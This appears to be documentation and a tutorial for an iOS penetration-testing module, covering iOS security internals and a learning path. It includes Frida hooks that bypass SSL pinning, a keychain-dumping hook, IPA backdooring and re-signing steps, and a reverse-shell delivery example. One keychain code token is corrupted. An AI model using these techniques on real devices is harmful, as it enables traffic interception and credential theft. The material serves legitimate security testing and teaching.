- ▸ Jailbroken iPhone or iPad (Checkra1n/Palera1n for older devices)
- ▸ SSH access via USB:
iproxy 2222 22 - ▸
frida-tools:pip install frida-tools - ▸ libimobiledevice:
pacman -S libimobiledevice
set device 127.0.0.1:2222 set operation recon run
- • Easy: recon, app_list, plist_dump
- • Medium: ssl_kill, keychain_dump, frida_hook
- • Advanced: kernel_exploit, jailbreak_detect_bypass, ipa_backdoor
Overview
What ios_pentest does
ios_pentest is the iOS security testing module inside VANTA. It covers two assessment paths: non-jailbroken static analysis of IPA files and live dynamic instrumentation on jailbroken devices via Frida and SSH.
Static analysis inspects Mach-O binary protections (PIE, stack canary, ARC, encryption flags), ATS policy entries in Info.plist, hardcoded secrets and API keys, and ObjC/Swift class metadata. Dynamic analysis injects Frida SSL bypass scripts, dumps the keychain, and probes the live runtime. CVE lookup runs NVD keyword searches against the detected iOS version and app frameworks.
Quick Start
Running ios_pentest
ios_pentest reads JSON from stdin and writes structured JSON to stdout. The target field is the device IP or domain; the params object carries operation and options.
# Device recon — connect device via USB, UDID auto-detected
echo '{
"target": "192.168.1.50",
"params": { "operation": "recon" }
}' | python3 ios_pentest.py | jq .
# IPA static analysis — no device needed
echo '{
"target": "192.168.1.50",
"params": {
"operation": "app_scan",
"ipa_path": "/tmp/target.ipa",
"search_secrets": true,
"deep_analysis": true
}
}' | python3 ios_pentest.py
# Full assessment on jailbroken device with Frida SSL bypass
echo '{
"target": "192.168.1.50",
"params": {
"operation": "full",
"ssh_host": "192.168.1.50",
"ssh_pass": "alpine",
"bundle_id": "com.target.app",
"ssl_bypass": true,
"frida": true
}
}' | python3 ios_pentest.py | jq .data
recon. A connected device's UDID is auto-detected when only one device is plugged in. For offline IPA-only analysis, set ipa_path and omit ssh_host.
Reference
Operations
Pass the operation name as params.operation. All operations except shell produce a JSON report in data.
Assessment
Reference
Parameters
Core
| Parameter | Type | Default | Description |
|---|---|---|---|
| operation | string | recon | Operation to run. See Operations section. |
| udid | string | auto | Device UDID. Auto-detected when a single device is connected via USB. |
| bundle_id | string | "" | Target app bundle ID (e.g. com.apple.mobilesafari). Required for exploit dynamic hooks. |
| ipa_path | string | "" | Local path to .ipa file for offline static analysis. No device required when set. |
Jailbreak / SSH
| Parameter | Type | Default | Description |
|---|---|---|---|
| ssh_host | string | "" | IP of jailbroken device for SSH-based deep testing and shell delivery. |
| ssh_port | integer | 22 | SSH port on the jailbroken device. |
| ssh_user | string | root | SSH username. Default root for most jailbreaks. |
| ssh_pass | string | alpine | SSH password. Default alpine — change it on real engagements. |
Analysis flags
| Parameter | Type | Default | Description |
|---|---|---|---|
| search_secrets | bool | true | Scan IPA and device filesystem for hardcoded API keys, tokens, and credentials. |
| deep_analysis | bool | false | Full Mach-O binary analysis: all sections, ObjC metadata, Swift symbols (slower). |
| ssl_bypass | bool | false | Inject Frida SSL bypass script to intercept certificate-pinned HTTPS traffic. |
| frida | bool | false | Enable Frida dynamic instrumentation. Requires frida-server running on device. |
| nvd_api_key | string | "" | NVD API key for higher CVE lookup rate limits (optional, free from nvd.nist.gov). |
Shell delivery
| Parameter | Type | Default | Description |
|---|---|---|---|
| lhost | string | auto | Attacker listener IP. Auto-detected from local interface if omitted. |
| lport | integer | 4444 | Listener port. |
| payload_type | string | bash_tcp | bash_tcp, python3, or all. Auto-delivered over SSH when ssh_host is set. |
| serve | bool | true | Interactive multi-session TUI. Set false for headless JSON (listens for duration seconds). |
| duration | integer | 60 | Headless listener timeout in seconds (when serve=false). |
Examples
Examples
Device recon (USB connected)
echo '{
"target": "192.168.1.50",
"params": { "operation": "recon" }
}' | python3 ios_pentest.py | jq '.data.device'
IPA static analysis (no device)
echo '{
"target": "192.168.1.50",
"params": {
"operation": "app_scan",
"ipa_path": "/tmp/target.ipa",
"search_secrets": true,
"deep_analysis": true
}
}' | python3 ios_pentest.py | jq '.data.app_scan.binary_protections'
CVE assessment with NVD API key
echo '{
"target": "192.168.1.50",
"params": {
"operation": "vuln_scan",
"nvd_api_key": "YOUR-KEY-HERE"
}
}' | python3 ios_pentest.py | jq '.data.vuln_scan.cves'
Frida SSL bypass + keychain dump
echo '{
"target": "192.168.1.50",
"params": {
"operation": "exploit",
"ssh_host": "192.168.1.50",
"ssh_pass": "alpine",
"bundle_id": "com.target.app",
"ssl_bypass": true,
"frida": true
}
}' | python3 ios_pentest.py | jq '.data.exploit.keychain'
Full assessment (jailbroken device)
echo '{
"target": "192.168.1.50",
"params": {
"operation": "full",
"ssh_host": "192.168.1.50",
"ssh_pass": "alpine",
"bundle_id": "com.target.app",
"ssl_bypass": true,
"frida": true,
"search_secrets": true,
"deep_analysis": true
}
}' | python3 ios_pentest.py | jq '{
ios: .data.recon.device.ios_version,
binary_flags: .data.app_scan.binary_protections,
cves: (.data.vuln_scan.cves | length),
keychain_items: (.data.exploit.keychain | length)
}'
Reverse shell — auto-deliver via jailbreak SSH
echo '{
"target": "192.168.1.50",
"params": {
"operation": "shell",
"ssh_host": "192.168.1.50",
"ssh_pass": "alpine",
"lhost": "192.168.1.114",
"lport": 4444,
"payload_type": "bash_tcp"
}
}' | python3 ios_pentest.py
Requirements
Requirements
| Dependency | Install | Required for |
|---|---|---|
| libimobiledevice | apt install libimobiledevice-utils | recon, device connection (ideviceinfo, ideviceinstaller) |
| frida-tools | pip3 install frida-tools | exploit, ssl_bypass, keychain dump, dynamic instrumentation |
| objection | pip3 install objection | exploit — automated Frida pentest framework |
| sshpass | apt install sshpass | shell delivery over jailbreak SSH |
| class-dump | brew install class-dump | ObjC class extraction from unencrypted binaries (macOS) |
| jtool2 | download from jtool.io | deep_analysis: binary protections, sections, entitlements |
| otool | built into macOS Xcode tools | Binary protections check (PIE, canary, ARC) |
| plutil | built into macOS | Info.plist parsing |
| frida-ios-dump | pip3 install frida-ios-dump | IPA extraction from encrypted App Store apps |
iOS Security Architecture Deep Dive
What is iOS security? iOS is a hardened UNIX derivative (based on XNU — a hybrid Mach/BSD kernel) designed to resist exploitation even when an attacker has a malicious app on the device. The defence layers are: hardware security (Secure Enclave, UID fuse), code signing (no unsigned code runs), sandbox (each app in isolated container), and entitlements (capability whitelist). As a pentester your job is to find where these layers fail or are misconfigured.
iOS security layer stack
┌────────────────────────────────────────────────────┐
│ App Layer — UIKit apps in /var/containers/Bundle │
│ Each app: signed IPA, sandboxed, entitlement-gated│
├────────────────────────────────────────────────────┤
│ Frameworks — UIKit, Security.framework, CFNetwork │
├────────────────────────────────────────────────────┤
│ Darwin (XNU kernel) — Mach + BSD hybrid │
│ AMFI (AppleMobileFileIntegrity) kext │
│ Sandbox kext (Seatbelt) │
│ TrustCache — CDHash whitelist │
├────────────────────────────────────────────────────┤
│ Secure Boot: BootROM → LLB → iBoot → kernel │
│ Each stage verified by previous (chain of trust) │
├────────────────────────────────────────────────────┤
│ Hardware: Secure Enclave (SEP), UID fuse, │
│ AES engine (hardware-accelerated key wrapping) │
└────────────────────────────────────────────────────┘
App sandbox
Every third-party app runs in a container at /var/mobile/Containers/Data/Application/<UUID>/. It cannot read other apps' data, cannot access system paths, and cannot use kernel APIs not granted by entitlements. The sandbox is enforced by the Seatbelt kernel extension — not by the app itself — so bypassing it requires a kernel exploit, not just clever app code.
App container layout:
/var/mobile/Containers/Data/Application/<UUID>/
├── Documents/ ← user data, iTunes backup included
├── Library/
│ ├── Caches/ ← temp, NOT in iTunes backup
│ ├── Preferences/ ← .plist config files
│ └── Application Support/
├── tmp/ ← truly temporary
└── <bundle>.app/ ← signed read-only binary + resources
Code signing model
Every Mach-O binary on iOS must be signed by Apple (App Store / TestFlight) or by a developer certificate (enterprise / jailbreak). AMFI (kernel extension) checks the cryptographic signature of every page of code before executing it. On a jailbroken device AMFI is patched to accept any signature or none at all — which is why Frida can inject arbitrary code.
Entitlements
Entitlements are XML blobs embedded in the code signature that declare what the app is allowed to do. Without the correct entitlement the kernel returns EPERM regardless of code logic.
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
<key>com.apple.security.network.client</key><true/>
<key>com.apple.developer.associated-domains</key>
<array><string>applinks:example.com</string></array>
<key>keychain-access-groups</key>
<array><string>com.example.app.keychain</string></array>
</dict></plist>
# ios_pentest dumps entitlements with:
ldid -e /var/containers/Bundle/Application/<UUID>/App.app/App
# or: codesign -d --entitlements - /path/to/App
IPA and Mach-O Binary Internals
What is an IPA? An IPA (iOS App Archive) is a ZIP file with the extension .ipa containing a Payload/ directory holding the .app bundle. The app bundle is a directory containing the Mach-O binary, resources, frameworks, and the code signature.
IPA structure
App.ipa (ZIP archive — magic: 50 4B 03 04)
└── Payload/
└── App.app/
├── App ← Mach-O ARM64/ARM binary (main executable)
├── Info.plist ← App metadata XML (or binary plist)
├── _CodeSignature/
│ └── CodeResources ← Hash manifest of all files
├── embedded.mobileprovision ← Provisioning profile
├── Frameworks/ ← dylibs (Fat binaries)
├── *.lproj/ ← Localization strings
└── Assets.car ← Compiled asset catalog (sprites, images)
Mach-O binary format (arm64)
Offset Size Field
0x00 4 Magic number
CE FA ED FE = 0xFEEDFACE (32-bit little-endian)
CF FA ED FE = 0xFEEDFACF (64-bit little-endian — arm64)
BE BA FE CA = 0xCAFEBABE (Universal/Fat binary)
Fat binary header (multi-arch — arm64 + x86_64 for simulators):
0x00 4 CA FE BA BE (fat magic)
0x04 4 00 00 00 02 (nfat_arch = 2 slices)
0x08 8 [slice 1: arch/offset/size/align]
0x10 8 [slice 2: arch/offset/size/align]
64-bit Mach-O header (after fat offset):
0x00 4 CF FA ED FE (MH_MAGIC_64)
0x04 4 CPU type 0C 00 00 01 = ARM (0x0100000C = arm64)
0x08 4 CPU subtype 00 00 00 00 = all (arm64e: 02 00 00 80)
0x0C 4 File type 02 00 00 00 = MH_EXECUTE (app binary)
0x10 4 ncmds — number of load commands
0x14 4 sizeofcmds — total size of load commands
0x18 4 flags 85 00 20 00 = PIE|DYLDLINK|TWOLEVEL
Key load commands
LC_SEGMENT_64 (0x19) — memory segment layout
__TEXT segment: r-x — code, constants, stubs
__text section: actual compiled machine code
__stubs section: PLT-like entries for dylib calls
__cstring section: C string literals
__DATA segment: rw-
__objc_classlist: ObjC class pointers
__got: global offset table
__bss: zero-initialised globals
LC_LOAD_DYLIB (0xC) — linked dynamic library
e.g.: /usr/lib/libc++.1.dylib, /usr/lib/libSystem.B.dylib
LC_CODE_SIGNATURE (0x1D) — offset + size of code signature blob
→ blob is a "SuperBlob" containing:
CodeDirectory (hashes of every 4096-byte code page)
Entitlements (XML plist)
CMS Signature (ASN.1 DER — SHA-256 + RSA/ECDSA + cert chain)
LC_ENCRYPTION_INFO_64 (0x2C) — App Store DRM
cryptid=1 → pages in [cryptoff, cryptoff+cryptsize) are AES-encrypted
→ must be decrypted at runtime (use frida-ios-dump to get cleartext)
Binary protections (ios_pentest checks)
PIE (Position Independent Executable)
MH_PIE flag (0x200000) in Mach-O flags
→ ASLR applies — exploit offsets randomized each launch
Stack canary
LC_LOAD_DYLIB references libSystem → compiler-inserted ___stack_chk_guard
→ stack smashing → program terminates (not exploitable without leak)
ARC (Automatic Reference Counting)
Presence of objc_retain/objc_release calls → memory managed automatically
→ less chance of use-after-free in ObjC layer (Swift is safer still)
Encryption
LC_ENCRYPTION_INFO_64 cryptid=1
→ binary is FairPlay encrypted — must dump from memory
# ios_pentest deep_analysis outputs all four flags:
{"pie": true, "canary": true, "arc": true, "encrypted": true}
Code Signing Internals
iOS will not execute any code that isn't covered by a valid signature. Understanding this is critical both for bypassing it (jailbreak context) and for embedding Frida gadget into a target app.
Code signature blob structure
SuperBlob (magic: 0xFADE0CC0)
├── CodeDirectory (magic: 0xFADE0C02)
│ ├── version, flags, hashType (SHA-256 = 2)
│ ├── identifier (bundle ID: "com.example.app")
│ ├── teamID ("A1B2C3D4E5")
│ ├── codeLimit (end offset of signed code)
│ ├── nSpecialSlots (hashes of: entitlements, Info.plist, etc.)
│ └── nCodeSlots (one SHA-256 per 4096-byte page of __TEXT)
│ [slot 0]: hash of Info.plist
│ [slot 1]: hash of requirements
│ [slot 2]: hash of resource seal
│ [slot 5]: hash of entitlements
│ [code 0..N]: hash of each 4KB code page
├── Entitlements (magic: 0xFADE7171)
│ └── Raw XML plist bytes
└── CMS Signature (magic: 0xFADE0B01)
└── ASN.1 DER PKCS#7 signed data
├── signerInfo: SHA-256 + RSA-2048 or ECDSA-P256
└── certificate chain → Apple CA
Bypassing code signing for sideloading
# On jailbroken device — use ldid to re-sign after patching:
ldid -S entitlements.xml patched_binary
# To embed Frida gadget into an IPA (for non-jailbroken testing):
# 1. Unzip IPA
unzip App.ipa -d App_extracted/
# 2. Copy Frida gadget dylib into Frameworks/
cp FridaGadget.dylib App_extracted/Payload/App.app/Frameworks/
# 3. Patch binary to load gadget (insert LC_LOAD_DYLIB):
insert_dylib --strip-codesig --inplace \
'@executable_path/Frameworks/FridaGadget.dylib' \
App_extracted/Payload/App.app/App
# 4. Re-sign with your developer cert:
codesign -f -s "iPhone Developer: Your Name" \
--entitlements entitlements.plist \
App_extracted/Payload/App.app/
# 5. Repack + install:
cd App_extracted && zip -r ../App_patched.ipa Payload/
ios-deploy -b App_patched.ipa
Frida Internals: How Dynamic Instrumentation Works
What is Frida? Frida is a dynamic instrumentation toolkit — it injects a JavaScript engine into a running process and lets you hook functions, read/write memory, and call APIs at runtime, all without recompiling the app. On a jailbroken iOS device the frida-server daemon runs as root and does the injection via ptrace or task_for_pid. On non-jailbroken devices you embed the FridaGadget.dylib into the IPA (as shown above).
Injection mechanism (jailbroken)
frida-server (on device, root) receives connection from frida-tools (on host)
1. frida-server calls task_for_pid(target_pid)
→ mach_task_self with correct entitlement → get task port
2. mach_vm_allocate() → allocate RWX memory page in target process
3. mach_vm_write() → write frida-agent bootstrap shellcode to page
4. thread_create_running() → spawn thread in target, PC → shellcode
Shellcode: dlopen("/usr/lib/frida/frida-agent.dylib", RTLD_LAZY)
5. frida-agent.dylib loads into target process
→ sets up V8 JS engine (QuickJS on iOS for size)
→ opens pipe back to frida-server
6. Your JS script runs in V8 inside the target process
→ full access to process memory, ObjC runtime, Swift runtime
Hooking with Frida JS API
// Hook SSL pinning — intercept SecTrustEvaluate
// (the function that checks if a TLS cert is trusted)
Interceptor.attach(
Module.findExportByName("Security", "SecTrustEvaluateWithError"),
{
onEnter: function(args) {
// args[0] = SecTrustRef, args[1] = *CFErrorRef
},
onLeave: function(retval) {
retval.replace(1); // Force return TRUE = trusted
}
}
);
// Hook ObjC method — intercept -[NSURLSession ...didReceiveChallenge:...]
var cls = ObjC.classes.NSURLSession;
var method = cls["- URLSession:didReceiveChallenge:completionHandler:"];
Interceptor.attach(method.implementation, {
onEnter: function(args) {
var completionHandler = new ObjC.Block(args[4]);
// Call with NSURLSessionAuthChallengeDisposition = 0 (use credential)
completionHandler.implementation(0, null);
// returning here bypasses certificate validation
}
});
SSL kill switch — how ios_pentest does it
# ios_pentest ssl_kill operation runs a Frida script that:
# 1. Hooks all known SSL pinning entry points:
# SecTrustEvaluate, SecTrustEvaluateWithError
# NSURLSession didReceiveChallenge
# TrustKit, Alamofire pinning
# Custom pinning via Security.framework OID matching
# 2. Forces all checks to return "trusted"
# 3. Your proxy (Burp Suite, mitmproxy) sees decrypted traffic
# Proxy setup:
# On host: burpsuite → Proxy → Options → 8080
# On device: Settings → Wi-Fi → [network] → Proxy → Manual → host:8080
# Install Burp CA: navigate to http://burp → download cert → trust in iOS Settings
Frida Stalker — tracing execution
// Trace every basic block in the app binary
var appModule = Process.getModuleByName("App");
Stalker.follow(Process.getCurrentThreadId(), {
events: { call: true, ret: false, exec: false },
onReceive: function(events) {
var list = Stalker.parse(events);
list.forEach(function(event) {
console.log(event[1].toString(16)); // log call targets
});
}
});
iOS Keychain Internals
The iOS Keychain is a SQLite database at /private/var/Keychains/keychain-2.db (root-readable only) managed by the SecurityD daemon. It stores credentials, tokens, and certificates encrypted with keys derived from the device UID + passcode. Apps interact via Security.framework SecItem* APIs.
Protection classes (when data is accessible)
| Class | kSecAttrAccessible value | Accessible when |
|---|---|---|
| A | kSecAttrAccessibleWhenUnlocked | Device unlocked only |
| B | kSecAttrAccessibleAfterFirstUnlock | After first unlock (survives sleep) |
| C | kSecAttrAccessibleAlways (deprecated) | Always, including locked |
| D | kSecAttrAccessibleWhenPasscodeSet | Unlocked AND passcode enrolled |
Keychain item attributes
SecItemAdd((__bridge CFDictionaryRef)@{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrAccount: @"[email protected]",
(__bridge id)kSecAttrService: @"com.example.app.token",
(__bridge id)kVANTAalueData: [@"supersecret" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessible: (__bridge id)kSecAttrAccessibleAfterFirstUnlock,
}, NULL);
# Item classes:
# kSecClassGenericPassword — arbitrary credentials
# kSecClassInternetPassword — URL-bound credentials
# kSecClassCertificate — X.509 certificates
# kSecClassKey — cryptographic keys
# kSecClassIdentity — certificate + private key pair
Dumping the keychain
# On jailbroken device — ios_pentest keychain_dump runs:
# Option 1: Keychain-Dumper (compiled for iOS)
# Needs: com.apple.keystore.device entitlement
# Option 2: Frida script (ios_pentest uses this):
var SecurityFramework = Process.getModuleByName("Security");
// Hook SecItemCopyMatching to enumerate all keychain items
Interceptor.attach(
Module.findExportByName("Security", "SecItemCopyMatching"),
{
onEnter: function(args) {
// Inject kSecMatchLimitAll + kSecReturnAttributes
},
onLeave: function(retval) {
// Parse CFArray of CFDictionary items
// Extract: account, service, data (password bytes)
}
}
);
# Output example:
{
"keychain_items": [
{"class": "genp", "account": "[email protected]",
"service": "com.bank.app.token",
"data": "eyJhbGciOiJIUzI1NiJ9..."},
{"class": "inet", "account": "admin",
"server": "api.example.com", "data": "P@ssw0rd!"}
]
}
Customization & Extension
Adding a custom Frida hook operation
# tools/mobile/ios/ios_pentest.py — add a custom operation
# Custom operation: dump all ObjC method calls (trace)
FRIDA_SCRIPTS = {
"ssl_kill": "...", # existing
"keychain_dump": "...", # existing
# NEW: method trace
"method_trace": """
var targetClass = "%TARGET_CLASS%";
var cls = ObjC.classes[targetClass];
if (!cls) { console.log("Class not found"); } else {
Object.getOwnPropertyNames(cls).forEach(function(method) {
try {
Interceptor.attach(cls[method].implementation, {
onEnter: function(args) {
console.log("[TRACE] " + targetClass + " " + method);
}
});
} catch(e) {}
});
console.log("Tracing " + Object.keys(cls).length + " methods");
}
"""
}
def run_method_trace(device, app_id, target_class):
script_src = FRIDA_SCRIPTS["method_trace"].replace(
"%TARGET_CLASS%", target_class
)
session = device.attach(app_id)
script = session.create_script(script_src)
script.on('message', lambda msg, data: print(msg))
script.load()
import time; time.sleep(30) # collect 30s of traces
Adding a custom static check
# Add check: detect hardcoded JWT secrets in binary strings
import re, subprocess
def check_hardcoded_jwt(binary_path):
result = subprocess.run(
["strings", binary_path],
capture_output=True, text=True
)
# JWT: starts with eyJ (base64 {"alg":...})
jwt_pattern = re.compile(r'eyJ[A-Za-z0-9+/=]{20,}\.[A-Za-z0-9+/=]{20,}')
found = jwt_pattern.findall(result.stdout)
return {"hardcoded_jwts": found, "count": len(found)}
# Register in module operations:
OPERATIONS["jwt_scan"] = {
"fn": check_hardcoded_jwt,
"args": ["binary_path"],
"description": "Scan binary strings for hardcoded JWT tokens"
}
Adding ATS (App Transport Security) audit
# ATS enforces HTTPS. Exceptions in Info.plist weaken security.
# ios_pentest already checks plist_dump — this extends it:
def audit_ats(plist_dict):
ats = plist_dict.get("NSAppTransportSecurity", {})
findings = []
if ats.get("NSAllowsArbitraryLoads"):
findings.append({
"severity": "HIGH",
"key": "NSAllowsArbitraryLoads",
"detail": "All HTTP allowed — plaintext traffic accepted"
})
exceptions = ats.get("NSExceptionDomains", {})
for domain, config in exceptions.items():
if config.get("NSExceptionAllowsInsecureHTTPLoads"):
findings.append({
"severity": "MEDIUM",
"key": f"NSExceptionDomains.{domain}",
"detail": f"HTTP allowed for {domain}"
})
return findings
Learning Path
Recommended resources
| Resource | Format | Focus |
|---|---|---|
| OWASP MASTG | Free book/web | Complete mobile pentesting methodology (iOS + Android) |
| TryHackMe — Mobile App Pentesting | Guided lab | Android + iOS basics together |
| Frida JS API Docs | Reference | Complete Interceptor/ObjC/Memory API |
| Objection | Tool | Frida-based iOS/Android runtime exploration without custom scripts |
| iOS Hacker's Handbook — Miller et al. | Book | Kernel, browser, and app exploitation (older but foundational) |
| iOS Security Resources | Curated list | Papers, tools, jailbreak internals |
| OWASP MAS CrackMes | CTF-style labs | iOS reverse engineering challenges (static + dynamic) |
| Apple Platform Security Guide | Free PDF | Authoritative Secure Enclave, code signing, Keychain architecture |
Practice progression (8 weeks)
Week 1 — iOS security model
▸ Read Apple Platform Security Guide (Secure Boot + Code Signing sections)
▸ Read OWASP MASTG Chapter: iOS Platform Overview
▸ Install Frida on your Mac: pip install frida-tools
▸ Frida on simulator: frida -U -n "App Name" → Process.enumerateModules()
Week 2 — Static analysis
▸ Download an open-source iOS app IPA (e.g. VLC)
▸ Unzip → examine Info.plist, entitlements, binary strings
▸ otool -l App | grep -A3 LC_ENCRYPTION → check if encrypted
▸ ios_pentest deep_analysis on the IPA
Week 3 — Frida basics
▸ Jailbreak an old device (iOS ≤ 15 — Checkra1n works well)
▸ Install frida-server on device
▸ frida-ps -U → list processes
▸ Hook a simple ObjC method with Interceptor.attach
▸ Try objection: objection -g "AppName" explore
Week 4 — SSL pinning bypass
▸ Set up Burp Suite proxy on Mac
▸ Route device traffic through Burp
▸ Install Burp CA on device
▸ ios_pentest ssl_kill on a banking or social app
▸ Capture HTTPS traffic in Burp Proxy → Intercept tab
Week 5 — Keychain analysis
▸ Write a simple iOS app that stores a secret in Keychain (Swift)
▸ Run ios_pentest keychain_dump → retrieve the secret
▸ Try different kSecAttrAccessible values — observe behaviour when locked
Week 6 — Dynamic analysis
▸ OWASP MASTG CrackMe Level 1 (iOS)
▸ ios_pentest frida_hook on the CrackMe
▸ Use Frida to bypass the license check
▸ Complete CrackMe Level 2
Week 7 — IPA backdooring
▸ Patch a test app with FridaGadget (sideload technique above)
▸ Confirm Frida attaches via gadget on non-jailbroken device
▸ ios_pentest ipa_backdoor on your own test app only
Week 8 — Full pentest
▸ Complete OWASP MASTG Checklist for a real (consented) iOS app
▸ Certification prep: eMAPT (eLearnSecurity Mobile Application Pentester)
Essential tools
| Tool | Purpose | Platform |
|---|---|---|
| Frida | Dynamic instrumentation, hooking | Mac/Linux host + device |
| Objection | Frida-based exploration shell | Mac/Linux host |
| class-dump | ObjC class headers from binary | macOS |
| Burp Suite Community | HTTPS proxy, intercept, repeat | Mac/Linux |
| jtool2 | Mach-O analysis, entitlements | macOS |
| Ghidra / IDA Free | ARM64 disassembly / decompilation | Mac/Linux |
| libimobiledevice | Device comm without Xcode | pacman -S libimobiledevice |
| frida-ios-dump | Dump decrypted IPA from memory | Python, device must be jailbroken |